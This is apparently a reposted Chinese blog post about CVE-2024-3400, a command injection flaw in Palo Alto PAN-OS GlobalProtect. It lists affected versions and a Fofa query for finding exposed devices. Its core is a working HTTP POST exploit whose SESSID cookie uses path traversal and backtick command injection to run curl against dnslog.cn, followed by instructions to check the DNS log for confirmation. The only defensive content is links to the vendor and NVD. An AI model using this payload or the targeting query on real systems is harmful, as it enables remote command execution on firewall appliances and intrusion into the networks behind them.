version < 11.0.4-h1version < 10.2.9-h1version < 10.2.8-h3version < 10.2.7-h8version < 10.2.6-h3version < 11.1.0-h3version < 11.1.2-h3version < 11.0.2-h4version < 11.0.3-h10
Fofa: app="PaloAlto-GlobalProtect"构造payload，发送数据包
POST /ssl-vpn/hipreport.esp HTTP/1.1Host:Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}dnslog.cn`;Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
查看dnslog记录
关注厂商更新产品：https://www.paloaltonetworks.com/
https://nvd.nist.gov/vuln/detail/CVE-2024-3400原文始发于微信公众号（SheYin）：（CVE-2024-3400）Palo Alto Networks PAN-OS 命令执行漏洞（附edusrc邀请码）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论